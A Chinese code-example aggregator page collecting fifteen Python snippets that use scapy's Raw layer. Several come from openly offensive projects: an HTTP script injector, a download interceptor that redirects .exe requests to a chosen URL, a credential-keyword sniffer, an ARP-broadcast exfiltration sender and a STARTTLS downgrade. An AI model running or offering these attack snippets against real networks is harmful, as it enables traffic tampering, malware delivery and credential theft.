当前位置: 首页>>代码示例>>Python>>正文


Python all.Raw方法代码示例

本文整理汇总了Python中scapy.all.Raw方法的典型用法代码示例。如果您正苦于以下问题:Python all.Raw方法的具体用法?Python all.Raw怎么用?Python all.Raw使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在scapy.all的用法示例。


在下文中一共展示了all.Raw方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: rawhandle

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def rawhandle(pkt):
    if sniff_pkts:
        scapy.wrpcap(random_filename+"arpy.pcap",pkt)
        counter = 0
        while counter < 1:
            counter += 1
            layer = pkt.getlayer(counter)
            if layer.haslayer(scapy.Raw) and layer.haslayer(scapy.IP):
                print(bcolours.OKBLUE + '\n[Info] Found the following (' + layer.name + ' layer): ' + layer.src + " -> " + layer.dst + bcolours.ENDC)
                tcpdata = layer.getlayer(scapy.Raw).load
                if not opts.verbose:
                    print tcpdata
                else:
                    print layer.show()
            else:
                break 
开发者ID:ivanvza,项目名称:arpy,代码行数:18,代码来源:arpy.py

示例2: inject_code

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def inject_code(packet):
    http_packet = scapy.IP(packet.get_payload())
    if http_packet.haslayer(scapy.Raw):
        load = http_packet[scapy.Raw].load
        if http_packet[scapy.TCP].dport == 10000:
            load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
            load = load.replace("HTTP/1.1", "HTTP/1.0")
        elif http_packet[scapy.TCP].sport == 10000:
            injection_code = """<script>alert('Hello from devopslife.xyz');
                                </script>"""
            load = load.replace("</body>", injection_code + "</body>")
            length_search = re.search("(?:Content-Length:\s)(\d*)", load)
            if length_search and "text/html" in load:
                length = length_search.group(1)
                new_length = int(length) + len(injection_code)
                load = load.replace(length, str(new_length))

        if load != http_packet[scapy.Raw].load:
            new_packet = change_payload(http_packet, load)
            packet.set_payload(str(new_packet))
    packet.accept() 
开发者ID:mpostument,项目名称:hacking_tools,代码行数:23,代码来源:code_injector.py

示例3: replace_file

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def replace_file(packet):
    options = get_arguments()
    parsed_url = urlparse(options.url)
    http_packet = scapy.IP(packet.get_payload())
    if http_packet.haslayer(scapy.Raw):
        if http_packet[scapy.TCP].dport == 10000:
            if ".exe" in http_packet[scapy.Raw].load and \
               parsed_url.netloc not in http_packet[scapy.Raw].load:
                print("[+] exe requested")
                ack_list.append(http_packet[scapy.TCP].ack)
        elif http_packet[scapy.TCP].sport == 10000:
            if http_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(http_packet[scapy.TCP].seq)
                print("Replacing file")
                hacked_packet = change_payload(http_packet, options.url)
                packet.set_payload(str(hacked_packet))
    packet.accept() 
开发者ID:mpostument,项目名称:hacking_tools,代码行数:19,代码来源:file_interceptor.py

示例4: pkt_callback

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def pkt_callback(self, pkt):
        """
        Process Traceroute packets
        """
        if pkt[IP].id >= 200 and pkt[IP].id < 300:
            self.pktlen = pkt[IP].id - 200
        elif pkt[IP].id >= 300 and pkt[IP].id < 400:
            self.pkttotal = pkt[IP].id - 300
        elif pkt[IP].id >= 500 and pkt[IP].id < 600:
            self.dic[pkt[IP].id - 500] = pkt[Raw].load[28:]
        elif pkt[IP].id == 666:
            if DEBUG:
                print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime())
                      + 'TRACE:' + pkt[IP].src + ':ALARM Case Open!')

        if len(self.dic) == self.pkttotal:
            odic = collections.OrderedDict(sorted(self.dic.items()))
            final = ''
            for value in odic.iteritems():
                final = final + value[1]
            text = decrypt(final[:self.pktlen])
            text = text.strip()
            hexip = text.split(',')[-1]
            text = text.replace(hexip, hextoip(hexip))
            text = 'TRACE:' + pkt[IP].src + ':' + text
            printer(self.filed, text)
            self.dic = {}
            self.pkttotal = 200 
开发者ID:ekiojp,项目名称:circo,代码行数:30,代码来源:carpa.py

示例5: raw

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def raw(pa):
    """Raw data from a packet
    """
    return pa.getlayer(Raw).load 
开发者ID:louisabraham,项目名称:LaBot,代码行数:6,代码来源:network.py

示例6: launch_in_thread

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def launch_in_thread(action, capture_file=None):
    """Sniff in a new thread
    When a packet is received, calls action
    Returns a stop function
    """

    logger.debug("Launching sniffer in thread...")

    def _sniff(stop_event):
        if capture_file:
            sniff(
                filter="tcp port 5555",
                lfilter=lambda p: p.haslayer(Raw),
                stop_event=stop_event,
                prn=lambda p: on_receive(p, action),
                offline=capture_file,
            )
        else:
            sniff(
                filter="tcp port 5555",
                lfilter=lambda p: p.haslayer(Raw),
                stop_event=stop_event,
                prn=lambda p: on_receive(p, action),
            )
        logger.info("sniffing stopped")

    e = threading.Event()
    t = threading.Thread(target=_sniff, args=(e,))
    t.start()

    def stop():
        e.set()

    logger.debug("Started sniffer in new thread")

    return stop 
开发者ID:louisabraham,项目名称:LaBot,代码行数:38,代码来源:network.py

示例7: test_sslv2_de_serialize

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def test_sslv2_de_serialize(self):
        pkt_serialized = str(tls.SSL(records=self.client_hello))
        self.assertEqual(pkt_serialized, self.client_hello_serialized_expected)
        pkt = tls.SSL(pkt_serialized)
        self.assertTrue(pkt.haslayer(tls.SSL))
        self.assertTrue(pkt.haslayer(tls.SSLv2Record))
        self.assertTrue(pkt.haslayer(Raw))
        self.assertEqual(pkt[tls.SSLv2Record].length, 1234)
        self.assertEqual(pkt[tls.SSLv2ClientHello].challenge, "12345")
        self.assertEqual(pkt[Raw].load, "TEST") 
开发者ID:tintinweb,项目名称:scapy-ssl_tls,代码行数:12,代码来源:test_ssl_tls.py

示例8: change_payload

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def change_payload(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet 
开发者ID:mpostument,项目名称:hacking_tools,代码行数:8,代码来源:code_injector.py

示例9: get_credentials

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def get_credentials(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ["login", "password", "username", "user", "pass"]
        for keyword in keywords:
            if keyword in load:
                return load 
开发者ID:mpostument,项目名称:hacking_tools,代码行数:9,代码来源:packet_sniffer.py

示例10: change_payload

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def change_payload(packet, url):
    packet[scapy.Raw].load = """HTTP/1.1 301 Moved Permanently
                             Location: {}\n""".format(url)
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet 
开发者ID:mpostument,项目名称:hacking_tools,代码行数:9,代码来源:file_interceptor.py

示例11: process_packet

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def process_packet(packet):
    if Raw in packet:
        if proj_id in packet[Raw].load and 'payload' in packet[Raw].load:
            print str(packet[Raw].load).split('payload')[1][3:-3] 
开发者ID:cloud-security-research,项目名称:sgx-kms,代码行数:6,代码来源:sniff_secret.py

示例12: set_attribute

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def set_attribute(self, class_id, instance, attr, value):
        """Set the value of attribute class/instance/attr"""
        path = CIP_Path.make(class_id=class_id, instance_id=instance)
        # User CIP service 4: Set_Attribute_List
        cippkt = CIP(service=4, path=path) / scapy_all.Raw(load=struct.pack('<HH', 1, attr) + value)
        self.send_rr_cm_cip(cippkt)
        if self.sock is None:
            return
        resppkt = self.recv_enippkt()
        cippkt = resppkt[CIP]
        if cippkt.status[0].status != 0:
            logger.error("CIP set attribute error: %r", cippkt.status[0])
            return False
        return True 
开发者ID:scy-phy,项目名称:scapy-cip-enip,代码行数:16,代码来源:plc.py

示例13: broadcast_message

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def broadcast_message(message, key=PYEXFIL_DEFAULT_PASSWORD):
	"""
	Send a message over ARP Broadcast
	:param message: Message to send as str.
	:param key: The parameter to use as key.
	:return None:
	"""
	msg = AESEncryptOFB(key=key, text=message)
	n_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst="192.168.1.254") / Raw(load=msg)
	sendp(n_frame, verbose=False) 
开发者ID:ytisf,项目名称:PyExfil,代码行数:12,代码来源:communicator.py

示例14: process

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.flag = m.group(0)
                    self.sniffer.stop() 
开发者ID:nategraf,项目名称:Naumachia,代码行数:15,代码来源:letter.py

示例15: corrupttls

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def corrupttls(pkt):
        """corrupttls looks for an SMTP client packet with `STARTTLS` and replaces it with `STARTFOO`"""
        if all(layer in pkt for layer in (scapy.IP, scapy.TCP, scapy.Raw)):
            if pkt[scapy.TCP].dport == 25 and b'STARTTLS' in pkt[scapy.Raw].load:
                pkt.load = pkt[scapy.Raw].load.replace(b'STARTTLS', b'STARTFOO')
        return pkt 
开发者ID:nategraf,项目名称:Naumachia,代码行数:8,代码来源:letter.py


注:本文中的scapy.all.Raw方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。